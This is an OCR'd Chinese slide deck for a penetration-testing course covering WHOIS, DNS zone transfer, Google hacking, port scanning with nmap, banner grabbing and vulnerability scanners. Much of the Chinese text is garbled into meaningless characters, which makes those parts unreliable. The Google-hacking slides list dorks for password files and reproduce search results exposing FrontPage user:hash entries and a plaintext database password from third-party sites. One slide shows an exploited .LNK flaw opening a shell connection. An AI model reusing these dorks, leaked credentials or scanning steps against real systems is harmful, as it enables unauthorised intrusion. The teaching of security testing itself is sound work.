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PTES 9:00~12:00
OWASP Testing 13:30~16:30
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What You MUST Know before
Hacking!!

HifRfF» #DarkFrameMaster, FFAEEN, KERREMASHEZNERFES

INfRRAR. EBWART . TR BN TIREREEN, RELLBZHMEEENFIENAM. MUTTICESNSEE, FTERA. £
SEF—FHAUEHE, HERLATTEREEILEN Y. WRTHRASIESRAORA, $NEE, REESEHNES, FBHHE
LRAIGEAABEERSF: 1Bk FE IZ AR5 2HMM, ESEMMUSARZE R, BEARNSIHIRAKE. E27H. A8

AmHEMS, #*
R, PoPOR
SR M ERFRA
FEIFER: FHA
SAMIE R4 . 9OXIA

JREVEE | MR IRACEI(E
¢ BESAERENTER DA
He. 1%, PEESEELE—EE
212, ERMAERFRFES

, o
FORBESHG ; /f\ IRMEI B —SHail, E2P
78, BERITE ’ N

» {8, FEEREREER,

ﬁ%ﬁ%ﬁﬁ%iﬁﬂ' : N N 1=

TEME. FEERLHE: fHMEENFEPoPe, AP IREHRRELY, MAEEGMES, E—BMNE Hirtndiakahs,
AMmILIRERNE MREAPOPOEARZHTE—AUM=REESR, BFEARERNSEMIEY] . MARRTRLERZF. . FLlE
ElR#E e . 1xde. IMIAERE . . BEMAEERN, NELEEW FIZHAEE] .. KEEFTIEERMET

e, E—1IREESEER, FRREHENES:)

EftDarkFrametasterElE, BUMREHBHUNRAMEEMD, AMMRIFESRRE, RETRZSHIRITHEAE (X

Okay» BLE, REtOME—RTEBEENM—21L ), MBTERRNESER, REPEHSEWASHNE. SAILBE—KARE
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g9 RLIEH (Vulnerability Assessment, VA)
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To Think Like a Hacker
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235 A5 (Penetration Testing, PT)
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BB
FEIR NEEN55 BN
active public service passive
B fr | Web 48E a Google
scanning A Hacking
I
— s _ —  DNS &y —  WHOIS
enumeration
\ J . J \ J
Rk e g
— L —| B=AEE
Web Spidering
— BRI




WHOIS &58 L &

* RIRELHE
— Web-based
— NOT user-friendly
— http://whois.twnic.net.tw/

Domain Name: pchome.com.tw

Registrant:

iABFEEEAESARGER AR

FC home online

12F No.105, S5ec.2 Tun-Hwa South Road. Taipei,Taiwan, R.0.C

TWNIC Whois Database

TWNIC whois p for istration.
Its use is restricted to rk administration purp only.

Contact:
Ning Chih-Lun domain@staff.pchome.com. tw
TEL: 02-27000898%#233

e
FaxX: 02-27085021

Record expires on 2015-05-31 (¥YYYY-MM-DD)
Record created on 1985-07-04 (YYYY-MM-DD)

Domain Name Whois Search:

pchome - | com.tw EI Domain servers in listed order:
- dns.pchome . com. tw 210.59.230.85
IP Whois Search: eagle.pchome . com. twW 210.59.230.88
tiger.pchome.com. tw 210.59.230.89

Register . TW domain name (only in Chinese) R _ — T . -
Apply IP address from TWNIC (only in Chinese) Registration Service Provider: PCHCHME

13



=—7 WHOIS &8 T £

ERERS B
whois365

Robtex Swiss Army Knife Internet Tool
— Web-based
— Toolbar for IE/FF/Chrome

— WHOIS

— A RBIE B E (blacklist)
— AS number

Client L&

— WHOIS % EH tcp 43 port
— whois.exe — Mark Russinovich
— Sam Spade



s

A H I DNS
HYEC#%(record)

Domain name Domain name DNS Zone
generator search Transfer

]
| | I |
' TLD Rotation ' Keyword ' Brute-force ' Misspelled

15



Bl Administrator: Command Prompt |ﬂ|—-ﬁ_@—]

p:/fwww tzdns.nety 2.1.5 running STAND-ALONE Mode




DNS Zone Transfer

REZ #1521 {5 lR=3 (Secondary Name Server)
B F 4815 & Bl AR &8 (Primary Name Server)[E]
&Zone File 3By resource record

DNS opcode : AXFR, port: tcp 53

SO AAGEEHBETENIRN  BENEERS
ISRV E R

BRI Zone transfer WENFEHEEZHIFRTE °
DNSSEC DA Uz = R:E zone transfer W& %

Iml

17



DNS Zone AXFR

Command Prompt

. (20110328901

)l
.COl
. COl
. COl
"v=apfl a mx ipd:




Google Hacking

'‘Google hacking isa com

outer hacking

technique that uses Google Search and other
Google applications to find security holes in

the configuration and com
-Wikepedia

websites use.”
. Keyword(E#z=

—- EE2HEAS

— MR8 E (relevance)

Operator

—- BYIHTEEHE

— IFZEBRE

outer code that

GO‘, ,81(’ |# -FrontPage-" ext:pwd inurl:(service | authors | administrators | users)

© FEEE O PIGER O BRRsHEE O SiEEE
|RTA HETEE.
nurl _wti_pvt service prvd - FilesTube Video Search - [ #EE1LE |

#HH26TIEF & "% -FrontPage-" ext:pwd inurl:{service | authors | administrators | us:

3 Sep 2009 ... Description: This Episode includes frontpage website valnerabilities through
insecure password files, insecure photo albums, and WNC login ...
video filestube. com/_tfinurl:+_wti_pvt+service. pwd - B ETFE

senvice pwd - Welcome to LOOK Comrmunications. - [ #iEEILE |
#-FrontPage- zinine: RIMAISAIDKgd/ 0.

webhome.idirect. com/~zinine/_uti_pvi/service pwd - BLETEH - BBLIAT
senvice pwd - Quvestnet - [ #HEEILE |

# -FrontPage- booboo?: ypUyfo2gikyg

i users. gwest. neti~booboo?/ wti_pwtiservice. pwd - B BT - 2ELUE

senvice pwd - vwwvy ocda demon.co.uk - [ BERILE |

#-FrontPage- ron:HY pfTiLNA mEQ.
wwwr ocda.demaon. co.uk/_vti_pvt/service pwd - EETHE - BLIAE

-FrontPage- fadmjahodkiNe USI2 - [ #HEEIE |

#-FrontPage- fadm:jghodkMc. UB/2
. rohitab. com/..fpost-10-34 160-administrators. pwd - EE{F{E - 2E{LAE

senvice pwd - Index of /
TSR R -
#-FrontPage-. rayalmini.com:TagzandyidZnl

wwir royalmini.com/_wti_pwiiservice pwd - S8

vii_pviiservice pwd - SecuFast.com - [ #EEIEE ]

HTML 7

#-FrontPage- administrator rmofsPISRigil

. secufast. comd_di_pitiservice. pwd - EUETTHE - 2BIAAE

19



Google Hacking-Keyword
EBEBUBERG - B A

157 web server ZERHYF &
— "serverat’ , "powered by’ , "EfE4"
Web Server FEsg VTR R 5T B

H &A%

— intitle:index.of  “parent directory” or intitle:index.of
name size

SEAME

— #R_EHEE ;- inurllogin intext: & A & AR=S
gea”

= =

— inurl:temp | inurl:tmp | inurl:backup | inurl:bak
BEEEER

— Inurl: admin inurl:login



Google Hacking-Operator

GQ _ ;8[{3 inurl:login intext: 2 A )R 22 intitle bitefight

2IEFER (FERF 025 N

/

Intitle
Inurl
Intext
site
filetype/ext

Hin

¥©) BiteFight Server 1 - Mozilla Firefox

File Edit View History Bookmarks Tools Help

s & 9 | B | nttp:iitefieht hw/bite/login phy

|

\ Ev VN

{ines
P »

Y el N

&

’,

F 4

{ v
4

D
Done asese0 |20 |4 |S)|IP | 7420844207 | TorDisbled |11 rolandandy@gmeileom |

21



Google Hacking Database

« GHDB now
— www.exploit-db.com/google-dorks
— #R &35 google dork
— #3802 Google Search Engine

OO =

”t I..—

A("I(ll\l(:- ATA A"-ai'

We call them "googledorks’: Inept or foolish people as revealed by Google. Whatever you call these
fools, you've found the center of the Google Hacking Universel

(0E\=r o g el Vb Server Detection Bd Free text search:



http://www.exploit-db.com/google-dorks
http://www.exploit-db.com/google-dorks
http://www.exploit-db.com/google-dorks
http://www.exploit-db.com/google-dorks
http://www.exploit-db.com/google-dorks

USRI TEEZRA

« inurl:phpSysinfo/ "created by phpsysinfo"

-

- . = | B .
! W4 System Information -- w... \&'1}

G [© w e prpsysinol =Y

| »

System Information: www.kbs e s (8% 108 11 1.34)

System Vital Hardware Information

Canonical Processors 4 E
WWW. | :
Hostname Model Intel(R) Core(TM)2 Quad CPU Q6600 @ 2.40GHz
Listening IF 85 .34 cBU
Kernel - Speed LoflEn
i 2.6.32-304generic (SMP) i
Distro Name  «(0} Size 4.00 M3 M
'“ Ubuntu 10.04.2LTS
Uptime 13 days 2 hours 51 minutes System 19199.65
Bogomips
Current 1 . ) .
Users PCT - Audio device: ATI Technologies Inc Manhattan
Devices HDMI Audio [Mability Radeon HD 5000 Series]
iz 0.19 0.35 0.33 o : :
Averages - . . - Audio device: Intel Corporation 82801]1 HD Audio
Controller
- Ethernet controller: Marvell Technology Group Ltd.
Metwork Usage 88E8001 Gigabit Ethernet Controller

- - - Ethernet controller: Marvell Technology Group Ltd.

Device Received Sent Err/Dro A !
/ > 8B8E8056 PCI-E Gigabit Ethernet Controller
lo 34.69 MB 34.69 MB 0/0 - EireWire
thil 76.33 GB 149.36 GB o/o . . . .

& / - Host bridge: Intel Corporation 4 Senes Chipset
etho 47.09 GB 16.75 GB 0/0 DRAM Contraller

ISA bridge: Intel Corporation 828011IR LPC
Interface Controller r

PCI bridge: Intel Corporation 4 Series Chipset
PCI Express Root Port

- PCI brnidge: Intel Corporation 82801 PCI Bridge ‘

PCI bridge: Intel Corporation 8280111 PCI
Express Root Port 1 i




/D
= c® /mysql_history/mysql_history.conf A,
[default]

server: localhost
usSarname: fsa
password: s3kr3t
datapbaser pra
table: history

24



%% = 5 II\\£

A39+a0 Web FERIREI(E A AR =

# Exploit Title : TinyBE 1.4 5gl Injection 4 / g Tinyes < L) .
# Google Dork : “Pmudly powered by TinyBB™| o , —
# DaFe = Ap'l“l_l SHTT €« c® .com/tiny/index.php?page=register w A
# Author I SW F
# Contact : flavip[dot]baldassi[at]gmad t bl
# Version 1 1.4 TinyBB =
# Tested on : Centos §.5 with magic quots
# Thanks to . perace.n
- Username:

Password:

Email:

Register

Details
By reqistering to this TinyBB powered forum your IP address is taken for logging purposes.
Proudly powered by TinyBB




e A

« G' @wwwal - B iview.asp ﬂ'?J A N o

Manage Alumni Registration

Sl. Num MName View Delete
1 view Delete
2 biugnwve view Delete
3 view Delete
4 view Delete
5 Acunetix view Delete
6 view Delete
7 view Delete
8 view Delete
9 Sushmita Sen view Delete
10 view Delete
11 view Delete
12 view Delete
13 view Delete
14 ASISH Hijda view Delete
15 view Delete
16 Acunetix view Delete
17 Acunetix view Delete
18 Acunetix view Delete
19 Acunetix view Delete
20 Acunetix view Delete
21 Acunetix view Delete
22 Acunetix view Delete
23 Acunetix view Delete
24 Acunetix view Delete
25 Acunetix view Delete
26 Acunetix view Delete
7 Srninetiv Wi Nelate




?Jz metadata

IPHCEE B IR R A7 3ER 20 0-21 it A —
|C]11nese Name | . . - .

Netname Il -NET | Local copy Open

| — . Tl
] -

- i B 1 ppt

Organization Name Important metadata:

|St:reet Address ||10l . k4. |
|ﬁ.dmin. Contact ||i_-l;|._,l@d T R |
|Tech. Contact || L 1@d " iw |
|Spam. Contact ::.4- @ ntw |
Netname Na__ C2-NET LD sy
Registered Date 1995-01-23 Local copy Open
admin. Lontac nle

ech. Contact o @ < Important metadata;
T —

WHOIS

Y AEHY Metadata



Lab. Google Hacking

=5 ¥ A Google Search #=:

1. EENUNALL EFERE MS Office 152R? fg2C
A metadata B)R B EFR?

. BENZABERAEL EZ AR Excel B3

3. BEEAMBERNHE



\gldml
W
>
Ml
S

&

AIECHIME RV TR TR SENEAER A5 EH

EL:p] 7SR E ARy o R B e 2 WA B I E RS a5

WEHE P8 ~ 25 - #KiG ~ e EfREs ~ 4RI s

Fk o [HETARZNEE(DoS) M EE T 14T, »  HYAREE
TR o R AZE(MITM)EEFEE0S
Buffer Overflow X 88 fEFFE= > FIHBEEHUEE AEEIER
B4 stack HY return address « AR TIEEFEEEAZEER

BB HHUS shell

29



DoS: MS12-020 MS 2003 BSOD

1 ¥
you might nee

ble or rem
you need to
your computer
select safe Mo

Technical information:

OP: 0x00000020 (0x00000000, ¢ 00000000, 0X00000001)




MS .LNK Vulnerability

A hitp://10.0.0.6/install - Microsoft Internet Explorer

ERE RIEE R0 HEYSEW TAOD HRHED -
KRG Pus Joaves @ 2 L=
50 | €] http://10.0.0.6/install J B wE ms >

C:\Documents and Settings\EC®1>netstat -an | findstr 10.0.08.6
TCP 10.0.0.4:1888 10.0.0.6:80 ESTABLISHED

TCP 10.0.0.4:1894 10.0.0.6:80 ESTABLISHED
TCP 10.0.0.4:1895 10.0.0.6: 4444 ESTABLISHED




il

E157

H

~
—
-

8 #7 patch, hotfix, A=
SRR TE

— lg0:hosts

I S e PR 5

— Cd
BEARIREZERNS(RAT)
& A rootkit
TEHHBE B EREILRAE

il

- =
oo

L 4




PSR Hi Bk &
o BEHEIE R
i

U”'JI
E
.A
\=H>
EFIII

T
Bt

— EillF&sE (steganography)
— NTEFS Alternate Data Streaming
— Windows Shadow Copy

o [EmITHE

— Rootkit

— NN&E3@E(tunneling)
— BFREHECER

— B ARG

— anti-forensics

i

3

S i)

33



B RAERE

PT ER%

52 R0

EFHEE
(e B,
fSATY), BT
7730)

A 4
MR TRITR

AHNE
(BATTENE, THE e ],

{email)

A 4

THE R/ TR

A 4

TrATgaRh

\ 4
TR TR

TR & FREHE], 2R IP)

EHAE
| BATENE, T RIAARTH],

{email)

T THIESSHFE], 2K IP)

AL\ A

A 4

Phase

AL

LR R S

EEp Ny bl

(email)

R

RS

<

l

EREECE £

S/ E TR

REGE L
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990 73 MT

o S9RLIT T
— DIS9im s Rl RISV CIBESSRE - BT R A EIAE
(profiling) ~ port 1% ~ AFsHAl - TEEEZ4A] - A
Ko REEA] -

« XYL
- EREMEN LERXIEEH o - WHEHE A _LRE
oMLK LR A - KFESREND




XX LCE

« L Google ] DNS 7l s u iz coai s
Go 8[;: site:

BEY Command Prompt

S S
® B h
- 7

C:\Usersh\rolands

AW -WWwW

£ 21,100 IBEE R (JUEEFR ¢ 0.04 %)

L e

/059



F 2t Al

o« BRRE IIEN

- IFB 5 iRaEmnl mrvssR - ZRERREFA
"AA . (exploit) 53R - WIS E AL EGR B1ZRIE
TERARERM - AU BRI - BEIEFEZMAVE
fREVZRAI AR PMARENES -

\Im'r
/I

. BEBE
— AP BrEEr - BREEREE IR Z WAL BRI IR
7 83 AREE - SEFE K I3FA FHEREE (Proof
of Concept, PoC) -

37



Report
PR ER-BEX

SEE!
— XXX )Remote Code Execution5324(CVE-2010-xxxx & CVE-2012-
yyyy

B2
— B35 public exploit(Z 2 payload)

= 0

I —

- RN BESBRBERAEARITEREDS
EfmEE

- FREEFED 2.1 Rl E
— B3R WAF =R
— #A WAF [5:8



Report Visualization

OWASP Testing Guide 3.0 iFiF*

50 -
EESE 45
100%
% S %0
35 N
H 5
30 . EF‘
YRR T S R e 55 «
20 - B 2EM
15 -
SRR T 10
5 4 2 2
. 000 000 000 2 -I 2
[ Pes 25 4 . -
*A:Eu E 1@5 ™ Eﬁ@“@ =) EFI 1&
/EE/ iy 2
WWW.XXX.COM 1 1
INET 0 0 1 1
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|58 75 7%-by knowledge

B 8I(Blind) Ix#8 / Tﬂ%@\

(Gray Bpx) (Tandem/Crystal)

J

L %]
Double Gray Box)

~N
s

=

SRABBEERARERZ (5

W

€5 (Double 7738 (Reversal/Red
Blind/Black Box) Team exercise)

/1

PTEIRAEHRAERZ (##

OSSTMM3



External
Penetration
Testing

Hybrid
Penetration
Testing

https://www.htbridge.com/pages/services/hybrid_penetration_testing.html

|50 75 7%-by location

Internal
Penetraton
Testing

41
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PT Guidelines

Open Source Security Testing Methodology
Manual(OSSTMM)

Penetration Testing Execution Standard(PTES)
OWASP Top 10

OWASP Testing Guide

OWASP Mobile Top 10 Risks

SANS 20 Security Controls

Top 25 Software Errors

EC-Council Ethical Hacking




OSSTMM

45



PT Phases of the PTES

Pre-
engagement

(mractions \A“aWSIS

Vulnerability

Intelligence | Threat | Post

\Gathering ,«‘ : \Modeling Q)Ioitation Reporting

46



OWASP Top 10

OWASP Top 10 — 2013 (New)

Al - Injection

A2 — Broken Authentication and Session Management

A3 — Cross-Site Scripting (XSS)

A4 - Insecure Direct Object References

A5 — Security Misconfiguration

A6 — Sensitive Data Exposure

A7 — Missing Function Level Access Control

A8 — Cross-Site Request Forgery (CSRF)

A9 — Using Known Vulnerable Components

A10 — Unvalidated Redirects and Forwards

http://security-sh3ll.blogspot.tw/2013/02/owasp-top-10-application-security-risks.html

47



OWASP Testing Guide

OWASP Testing Guide 3.0 HB®R

Bl

AJAX

= 3
// \ 38 2 e

/ X 5 TE
[

S
&

» |

2818 ‘\\\\’é,/}}/’lll‘ mEE

EESZ TEPREIE
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Mobile Top 10

M1 - Insecure
Data Storage

OWASP Mobile Top 10 Risks

M2 — Weak Server M3 - Insufficient M4 - Client Side

Side Controls Transport}ayrer Injection
Protection

M5 - Poor
Authorization and
Authentication

M7 - Security
Decisions Via
Untrusted Inputs

M8 - Side Channel
Data Leakage

M6 - Improper
Session Handling

M10 - Sensitive
Information
Disclosure

MS - Broken
Cryptography
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i (scan)py$a Ay

AT TE

— FEARE CFERERK
» Port {7 H

— wfE R a0 B M B BXHY ports(TCP/UDP)
» 1FE 2/ pll A e A T a8 Al

* S9RNIF IH

-~ FHRIFERA - 2R EREIV
EEE

X]




A 55 1% 1

ICMP #E#E(Ping Sweep)

£ ping I5< 7 DOS MNEHEIKHY ip
address

FOR /L %%i in (1,1,254) do ping 192.168.1.% %i

FERBEEEREINIEE IP Eﬁ =
— AngrylIP, SuperScan 4 i —

Prange: | 192 . 168 . 99 . 1 4o | 192 . 168 . 09 . 254 | |d@bciad

B4l SBEHKIERE sl mee
‘< L] E E E IF = i |Ping = i | Hostname =i | « |
i 192168991  Dead NS =
. 1921685992 Dead NS
. 192.168599.3  Dead N
. 1921635994 Dead N
. 192168995 Oms weeb vl demonet
. 1921685996  Dead NS
. 1921685997  Dead U
. 1921685998  Dead U
. 192.168999  Oms blackS whinet
. 192.16899.10  Dead NS
. 192.16899.11  Dead NS
1072 1780017 Tiead TS ;I

Ready |



C:/CEH_Tool/Module 3 - Scanning/Angry IP.exe

Port Scanning

» Port BB ZANEZ2HEZERIEE port £
S E R [l FE T % port = aFRL - TR
HIBTRYRIF R AT AU

- WEZHEEMA ports:
— Well-known ports(& #t i 7%)
— Registered ports(FEFAZR)

« Port BEWMBINEE FEEIZEEAMWL port OJH




Request and Response

« Listened Port
~ TCP
— UDP

« Request
— SYN
— ACK
— RST
— Malformed

« Response
— SYN/ACK
— RST
— ICMP Port Unreachable
— No response(filtered)

Scan  Tools Profile Help

Target: | 192.168.99.5

LI Profile: IQuickFquversionDetecﬁonScaJE Scanl Cancell

Coynmand : Inmap -5V -T4 -0 -v-n 192168995

Hosts Services | NmﬁpoumUthorts."HostslTopologylHostDeiaﬂslScaml

o8 ¢ |H081 Inmap 57 -T4 -v 192.168.99.5 Ll Details

I8¢ web vhidemonet (19

[ —

Filter Hosts

2

Ma0. ACLLIPL SUANIIII] 134, 100, 33,00, ;I
HSE: Starting runlewel 1 scan

Initiating N3E at 17:035

Completed N3E at 17:05, 0.02s elapsed

HSE: Script Scanning completed.

Nuap scan report for web. vhi.demonel (192.168.99.5)

Host i=s up (0.00s latency).

Hot shovm: 956 closed ports

PORT STATE SERVICE VERSIOH

21ftcp open ftp Microsoft ftpd 5.0

25ftcp open smtp Microsoft ESMIP
5.0.2195.1600

S0ftcp open http Microsoft IIS webserver 5.0
135/tcp open msrIpc Microsoft Windows RPC

139f/tcp open nethios-ssn

443f/tcp open https?

445f/tcp open microsoft-ds Microsoft Windows 2000
microsoft-ds

515f/tcp open printer

548ftcp open afp?

1025/tcp open mstask Microsoft mstask (task
server - c:\winnt\system32\Mstask.exe)

1026/tcp open msrpc Microsoft Windows RPC
1027/tcp open msrpc Microsoft Windows RPC

1433/tcp open me-sgl-s?

iSsgftcp open tcpwrapped
MAC Address: 00:00:29:E5: CL:DE [WMware)
Service Info: Host: sheep; 05: Windows

Bead data files from: C:%Program Files‘\Nmap

Service detection performed. Please report any
incnrrect results at kiie: fimman. orafsabmib s LI
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* nmap
— Open source
— GUI and command-line
— Support all the port scanning methods
— nmap -sT -p 1-1024 -T 3 192.168.204.3

« TCP Connect
— TCP full connection
— TCP 3-way handshake
— nmap -sT —-p 1-1024 192.168.204.3

« TCP SYN Stealth
— TCP half-open connection(SYN-ACK-RST)
— Windows R AXIE(WNBEZEZE library)
— nmap -sS -p 1-1024 192.168.204.3
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« Banner Grabbing
« Service Fingerprinting
« OS Fingerprinting

£ 192,168,995

102.168.99.9

- e
IONIDQCQTCQBQ=P
and Content N

FH FH H
=
-
o 3
5
5
=2
Faie®
L0
oo
;:':C)
o
3 =
@D
2 wm
e
>
o
W =
=
oo
O
0
o
e
m
0D
e
0O
o |

Internet Protocal, Src: 192,168,
Transmission Contral Protocol,

[

= Hypertext Transfer Protocol 08 o« | Host mmap 57 -T4 -0 -v -» 132 168.39.5 El e
HTTP/1 .1 200 OkNh “  webvhidemonet (13  217tcp  open ftp Microsoft ftpd 5.0
Server: Microsoft-IIS/5,0krin e en SR Hierosoft ESHEE
Content-Location: http://192 168,99 5/Default.htmiin 807tcp open http Microsoft IIS webserver 5.0
Date: Tue, 27 Apr 2010 09:14:20 GMTYyn 135/tcp open msrpc Microsoft Windows RPC
Content-Type: text/htmbryn i::i:g x:: :::z:;s_ssn
Accept-Ranges: bytesirin 445/tcp open microsoft-ds Microsoft Windows 2000

| act-hdadificad: Wead 14 bdar 200010 02 2007 SkAT A e microsoft-ds



Banner Grabbing

Banner 2/EAENCIERNE - BB REZHE K
FRZA - 40 . web server, ftp server, smtp
server =

#H telnet(nc) EXS web server BY banner

— telnet 192.168.204.2 80
GET / HTTP/1.1 (M~ “enter”)

Sniffing the response

BRIl : Banner olLU{&E (HTTP header
obfuscation)




(E3

2| BarE

Lab. Web Server Banner

 HZEZE web server 2H3tEE 5

QC‘D | 7| http:

rw.fetc.netiw/portal/

9 ~ 0 ” % | Waiting for fetc.nettw

x  Google

File Edit View Favorites Tools Help

*3 Search - 2§ Share | & Translate - More » SignIn & -

e ====(1V)

Network

7

Cache-Control

SUMMARY  DETAILS « 10/13 L4

)
SiufE = FEHAR
News RIE |2EASMRIER.LCEIEE, 1§

" B WO e[ X[l ]2 E 8 x|

http://\n\.r\n\r\nv.google—analy‘tics.com/_utm.gif?utmwv:5.4.6&utms:.

private, no-cache, no-cache=Set-Cookie, proxy-revalidate

Reqguest headers Reqguest body Response headers Response body Cookies Initiator Tim|

Key Value

Response HTTP/1.1 200 OK

Pragma no-cache
@ Expires Wed, 19 Apr 2000 11:43:00 GMT
= Last-Modified Wed, 21 Jan 2004 19:51:30 GMT
Jri X-Content-Type-Options nosniff

Content-Type image/gif
@ Date Sat, 21 Dec 2013 16:14:27 GMT

Server Golfe2

Content-Length 35
{;} Age 1523977
(O]
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Service Fingerprinting
SRR

MBI EE R E

=|

0| FERVAS 1R - FENE 21 KRR
MBS KR

B0 - £/ nmap @kl email ARFS
BRIl : reverse proxy &P ER

Tools
— httprint —
— amap
— nmap -sV

root@bt: /pentest/enumeration/www/httprint/linux - -ell - Httprint
ifroot@bt: /pentestfenumeration/www/httprint/linux - Shell - Httprint

t: # ./httprint -PO -h 12?1
-5 signatures.txt

httprint v0.301 (beta) - web server fingerprinting tool

(c) 2003-2005 net-square solutions pvt. ltd. - see readme.txt
http://net-square.com/httprint/

httprint@net-square.com

Finger Printing on http:_.-’_.-’122_?1'89_.-"
Finger Printing Completed on http://12

Host:

Derived Signature:

Apachey/2.2.3 ent0s)

9E4A31BCBE2CEG926811C9DC5811C9DC5050C5D25505FCFEB42T76EABBE811C9DCS
'%B':811CE!I:JC5ZF\.ZEJEJB-SICCI:JE?18"!‘1lI:JI:Jt""I::!"'EE11CE!DCS8llCEIDCS&C'\E!lCFSIlr

Banner Reported: Apaches2.2 (Cent0Ss)

Banner Deduced: Apache/2 Apache/1.3.27, Apache/1.3.26, Apache/1.3.[4-24],
pache/1.3.[1-3]

Score: 89

Confidence:

& Shell




TESE Za /e Al

- FEIEE5SEMIEIA(Active Stack Fingerprinting)
- FHFEENTE - b EFEESEERE - LURTE
(NS
- A5 W ER2]

BE%U BIEE R FBEEHIKES (protocol stack)=

/\

« Tool
— nmap -0 192.168.204.1
— nmap -A 192.168.204.1
— nmap --script=smb-os-discovery 192.168.204.1
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g9 Fa®HE-Vulnerability Scan 8¢ Vulnerability Assessment - &8 & &
t# VA

ERSMERE LR  HREREERELFENAETE - WEIKIFEHE
HiROEHEE - BEEEREBLY - DFERFREEREEES
A2 99 il

——————————————————

l/ ™
I \
: N :
Request i § - i
1 1
' i Web Server i
i [ i
| ? 4 i
‘ 4 W i
1 1
Response i ~ i
i i
i a
VA System ! [ i
\ 1
\

< DB Server
_________________ \ 61



99 +nim e L H4R%

mi EH IR AT

— B EREERE (infrastructure)
— web application

THAT

— BRES T

— (virtual)appliance

— on-demand Saa$S

— remotely hosted(for internal)

cost

— COTS

— trial version

— community version(free)
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iEtm R E R (infra) 3954

o T RIEREZEL(infra)
— EZEZRH
« Windows, AIX, Fedora, FreeBSD, HP-UX, MacOS X, etc.

— AR#%
« web server, FTP DNS, SNMP RPC, DB, etc.

- HEE e

« Firewall, router

- VA 8l
— IBM Internet Scanner(Previous ISS)
— McAfee Vulnerability Manager
— Qualys(service-based)
— NeXpose Rapid7(offer service)
— hEEFEA DSS(BE)
— Tenable Nessus
— OpenVAS

63
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£ I\ 9950

Acunetix Web Vulnerability
1. Scanner

http://www.acunetix.com

http://www.watchfire.com/products/apps

2. IBM Rational Appscan can/default.aspx

Milescan Web Security http://www.milescan.com/hk/
Auditor

https://h10078.www1.hp.com/cda/hpms/displ
4, HP WeblInspect software ay/main/hpms_content.jsp?zn=bto&cp=1-11-
201-200%5E9570_4000_100___ 64 g4



Configuring

VA Process

Detect Live
Hosts

|dentify
Applications

|dentify
Vulnerabilities

|dentify
Services

Identify Live
Hosts

Port Scanning

Reporting
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VA Software

| RATING |

Hi::t“rfe Caution | Promising| Positive :;?;i
Bayond Security x
BayondTrustieEye Eigﬂal Security x
Critical Watch »
Digital Defense x
‘McAfee x
nCirche x
Qualys x
Rapid? x
=aint X
Tenable Netw ork Security x
Trustw ave x

As of 10 August 2012
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Nessus 5

Tenable Network Security
No more open source!
Brower-based architecture
Remote on-demand service

Can be integrated into vulnerability
management system(Tenable SecurityCenter)

By e,
(>



Nessus Architecture

 Client-Server 2242
— Nessus daemon: B =17
— Nessus client: web-based
« Nessus plugins
- ERRBEHEIEE  HHEGEREEmAHPIntaRHmS
- OJEFFREZaEEEE
- JRBRARVIBIS BRI BE

— Port scan Wi ~AZBIANAFTIE RBVBREIERE - 4l
Nessusge ¥ Al —{EF £ port 6386948 & 3l ik =3

« NASL
— OJB 1T plugins BY script XX ES




Nessus Editions
e R

Designed For Commercial organizations wanting Cor1r1erpial Enterprises and commercial organizations with Personal use in a homfe
1o evaluate Nessus organizations external IPs or PCI requirements network, non-commercial
Real-time Vulnerability Updates V4 V4 4 v
Vulnerability Scanning v v v v
laloied coang rd y rd ra
Mumber of IPs Per Scanner 16 Unlimited Unlimited 16
Web Application Scanning v v 4/ v
Mobile Device Detection 4 v v w4
Exportable Reports v =7 7 e
Targeted Email Notifications - e e v
Scan Scheduling - v < v
Configuration Checks - e e -
ol G G 4 : v v :
Sensitive Data Searches - e e -
SCADA Plugins = e v -
Access 1o the VIN1-.-‘.faAr§p\ﬁiE:‘:1uCael _ V4 V4 _
PCI DSS Audits - v v -
T-.-‘.fg QLIJarterIy F‘(;\ QSV _ _ V4 _
Validation Submissions
Product Support = e e -
$1,500

Free for 7 Days $3,600 USD/year Free

USD/year

fzmas

Price



Rapid7 nexpose

Indraduals, SMBs Enterprises
cammulnitg.r wexptes wcmsul ant wenterpjise
Freeware IT generalists IT =ecurity T =ecurity teams
Community in SMBz consultantz in enterprizes
FREE 52 999 ear/User Centact Us Contact Us

FREE DOVWHLOAD BUY ONLINE 14 DAY TRIAL 14 DAY TRIAL

Officially Supported Operating Systems

f'ff Microsoft Windows Server 2003 SP2 / Server 2003 R2*
Microsoft Windows Server 2008 R2
Microsoft Windows 7

@ ViMware ESX 3.5% and 4.0
Wiware ESXi 3.5, 4.0 and 5.0

Q Red Hat Enterprise Linux Server 5.x

Ubuntu 8.04 LTS
Ubuntu 10.04 LTS (64 bit only)
Ubuntu 12.04 LTS (64 bit only)

\L

Nexpose has been optimized to run in the following browsers

@ Internet Explorer 7%, 8, 9
e Firefox 10*
0 Chrome (latest stable version)”
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http://www.rapid7.com/products/nexpose/compare-editions.jsp

Community Edition

Free
Single user
Up to 32 IPs

Can be used for SMB or individual
Web application VA

| RATING |

Strong

Negative

Caution

Prol

misi

ng

Positive

Strong
Positive

Bayond Sacurity

BayondTrust/eEye Digital Security

Critical Watch

Digital Defense

McAfes

nCircle

[Qualys

Rapid7

[Saint

Tenable Netw ork Security

Trustw ave

As of 10 August 2012
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key components

scan engine

(nexserv.exe)
(3780/tcp)

security
console

(https)
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version comparison

Enterprise

Scalable For Large
Organizations and
Security Teams

Scales to Unlimited IPs

Scans networks, OS, DBs
web applications and
virtual environments

Deployment options:
software, appliance, virtual
appliance, managed
service

Integrated configuration
assessment and policy
management

Custom scan
configurations, reports and
remediation plans

High priarity phone support

And much maore

FREE 7-DAY TRIAL FREE 7-DAY TRIAL BUY ONLINE FREE DOWNLOAD

Consultant

For IT Security
Consulting Organizations

® Scans upto 1,024 IPs

® Scans networks, OS5, DBs
web applications and
virtual environments

® Deployment options:
software

* |ntegrated configuration
assessment and policy
management

® Custom scan
configurations, reports and
remediation plans

® High priority phone support

® And much more

Express

For Small and Mid-Sized
Organizations

* Scans upto 128 or 256
(Pro) IPs

* Scans networks, OS and
DBs

* Deployment option:
software

Community

Individual Users

® Scans 32 IPs

* Scans networks, OS and
CBs

* Deployment option:
software
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logging on and start to use

« supported browsers
— Internet Explorer 7.0.x, 8.0.x, and 9.0
— Mozilla Firefox 10.0.x and 17.0.x

— Google Chrome

& Log on to Nexpose - Windows Internet Explorer
@ (B [ https/ Nocalhost:2720/login el

File Edit View Favorites Tools Help

o le =
P -

~ I3 Certificate Error | 1= | 47 | x| [=) Bing

¢ Favorites | @ Log on to Nexpose 3~ B ~ [ o= v Page~ Safety~v Toolsv @~

x

(@ Intranet settings are now turned off by default. Intranet settings are less secure than Intemet settings. Click for options...
Help | Support

WCommunny
Log on
Username
Passwor d
